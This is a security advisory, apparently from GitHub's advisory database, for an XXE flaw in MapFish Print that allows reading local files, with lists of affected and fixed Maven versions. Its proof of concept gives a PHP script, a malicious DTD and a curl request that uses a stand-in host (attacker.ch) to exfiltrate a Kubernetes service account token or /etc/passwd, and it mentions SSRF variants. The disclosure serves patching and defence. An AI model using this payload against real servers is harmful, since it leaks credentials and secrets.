GHSA-5v29-34h8-v68r

Suggest an improvement
Source
https://github.com/advisories/GHSA-5v29-34h8-v68r
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-5v29-34h8-v68r/GHSA-5v29-34h8-v68r.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-5v29-34h8-v68r
Aliases
Published
2026-08-28T22:33:35Z
Modified
2026-08-28T22:55:59Z
Severity
  • 8.6 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N CVSS Calculator
Summary
MapFish Print has XXE that allows reading arbitrary files of certain types
Details

Summary

XXE on MapFish Print allows reading arbitrary files of certain types. Eg /etc/passwd or k8 secrets and certs.

https://github.com/mapfish/mapfish-print/commit/13020c0fbc299e5f604e4e66066311c4bf04d507

Details

To trigger the XXE it is required to host a remote script and dtd file. When using the Print feature its possible to send the attacker server url as url of the gml layer.

The 404 not found path when using the gml Layer will expand the content of the file as path and throw a default 404 with the full content as path.

PoC

Host this php file somewhere as xxe.php:

<?php
$p=$_GET['p'];
$d=dirname($_SERVER['SCRIPT_NAME']);
$u=(empty($_SERVER['HTTPS'])?'http':'https')."://{$_SERVER['HTTP_HOST']}$d/evil.dtd";
header('Content-Type: application/xml');
echo "<?xml version=\"1.0\"?>
<!DOCTYPE x [
 <!ENTITY % payload SYSTEM \"file://$p\">
 <!ENTITY % dtd SYSTEM \"$u\">
 %dtd;
]>
<wfs:FeatureCollection xmlns:wfs=\"http://www.opengis.net/wfs\" xmlns:gml=\"http://www.opengis.net/gml\">
<!-- ".str_repeat('x',200)." -->
<gml:boundedBy><gml:null>unknown</gml:null></gml:boundedBy>
</wfs:FeatureCollection>";

and beneath host this "evil.dtd"

<!ENTITY % exfil "<!ENTITY &#37; error SYSTEM 'file:///xxe-exfil/%payload;'>"> %exfil; %error;

Now send a single curl request against your mapfish print server and include your hosted poc url as gml layer url with the path attached you would like to exfil. It will exfil /var/run/secrets/kubernetes.io/serviceaccount/token (most likely your local test setup wont have it, then just replace the path with /etc/passwd or similar plain files)

curl -sk 'https://mapfish/api/print3/print/mapviewer/buildreport.pdf' \ -H 'Content-Type: application/json' \ -d '{"layout":"1. A4 landscape","attributes":{"printDate":"a","url":"","copyright":"","qrimage":"","map":{"projection":"EPSG:2056","rotation":0,"dpi":96,"center":[2600000,1200000],"scale":100000,"layers":[{"type":"gml","url":"https://attacker.ch/xxe.php?p=/var/run/secrets/kubernetes.io/serviceaccount/token"}]}},"outputFormat":"pdf"}'

Its also noteworthy that when you use just a path with slash in the end /tmp/ for example - it will literally list the files and output this for you.

It is actually also possible to trigger an SSRF and request internal URLs if you'd change the file:// prefix in the dtd to https://

Impact

disclose local files. blind(ish) SSRF (depends on the servers response data)

Database specific
{
    "cwe_ids":  [
        "CWE-611"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-08-28T22:33:35Z",
    "nvd_published_at":  null,
    "severity":  "HIGH"
}
References

Affected packages

Maven
org.mapfish.print:print-lib

Package

Name
org.mapfish.print:print-lib
View open source insights on deps.dev
Purl
pkg:maven/org.mapfish.print/print-lib

Affected ranges

Type
ECOSYSTEM
Events
Introduced
3.0.0
Fixed
3.28.30

Affected versions

3.*
3.0
3.1.0
3.1.1
3.1.2
3.2.0
3.3.0
3.4.0
3.5.0
3.6.0
3.7.0
3.8.0
3.9.0
3.10.0
3.10.1
3.10.2
3.10.3
3.10.4
3.10.5
3.10.6
3.10.7
3.10.8
3.11.0
3.11.1
3.11.2
3.11.3
3.12.0
3.12.1
3.13.0
3.14.0
3.14.1
3.15.0
3.16.0
3.16.1
3.16.2
3.17.0
3.18.0
3.18.1
3.18.2
3.18.3
3.18.4
3.19.0
3.20.0
3.20.1
3.20.2
3.20.3
3.21.0
3.22.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-5v29-34h8-v68r/GHSA-5v29-34h8-v68r.json"
org.mapfish:print.print-servlet

Package

Name
org.mapfish:print.print-servlet
View open source insights on deps.dev
Purl
pkg:maven/org.mapfish/print.print-servlet

Affected ranges

Type
ECOSYSTEM
Events
Introduced
3.0.0
Fixed
3.28.30

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-5v29-34h8-v68r/GHSA-5v29-34h8-v68r.json"
org.mapfish.print:print-lib

Package

Name
org.mapfish.print:print-lib
View open source insights on deps.dev
Purl
pkg:maven/org.mapfish.print/print-lib

Affected ranges

Type
ECOSYSTEM
Events
Introduced
3.29.0
Fixed
3.30.32

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-5v29-34h8-v68r/GHSA-5v29-34h8-v68r.json"
org.mapfish.print:print-servlet

Package

Name
org.mapfish.print:print-servlet
View open source insights on deps.dev
Purl
pkg:maven/org.mapfish.print/print-servlet

Affected ranges

Type
ECOSYSTEM
Events
Introduced
3.29.0
Fixed
3.30.32

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-5v29-34h8-v68r/GHSA-5v29-34h8-v68r.json"
org.mapfish.print:print-servlet

Package

Name
org.mapfish.print:print-servlet
View open source insights on deps.dev
Purl
pkg:maven/org.mapfish.print/print-servlet

Affected ranges

Type
ECOSYSTEM
Events
Introduced
3.31.0
Fixed
3.31.24

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-5v29-34h8-v68r/GHSA-5v29-34h8-v68r.json"
org.mapfish.print:print-lib

Package

Name
org.mapfish.print:print-lib
View open source insights on deps.dev
Purl
pkg:maven/org.mapfish.print/print-lib

Affected ranges

Type
ECOSYSTEM
Events
Introduced
3.32.0
Fixed
3.33.16

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-5v29-34h8-v68r/GHSA-5v29-34h8-v68r.json"
org.mapfish.print:print-servlet

Package

Name
org.mapfish.print:print-servlet
View open source insights on deps.dev
Purl
pkg:maven/org.mapfish.print/print-servlet

Affected ranges

Type
ECOSYSTEM
Events
Introduced
3.32.0
Fixed
3.33.16

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-5v29-34h8-v68r/GHSA-5v29-34h8-v68r.json"
org.mapfish.print:print-lib

Package

Name
org.mapfish.print:print-lib
View open source insights on deps.dev
Purl
pkg:maven/org.mapfish.print/print-lib

Affected ranges

Type
ECOSYSTEM
Events
Introduced
3.34.0
Fixed
4.0.5

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-5v29-34h8-v68r/GHSA-5v29-34h8-v68r.json"
org.mapfish.print:print-servlet

Package

Name
org.mapfish.print:print-servlet
View open source insights on deps.dev
Purl
pkg:maven/org.mapfish.print/print-servlet

Affected ranges

Type
ECOSYSTEM
Events
Introduced
3.34.0
Fixed
4.0.5

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-5v29-34h8-v68r/GHSA-5v29-34h8-v68r.json"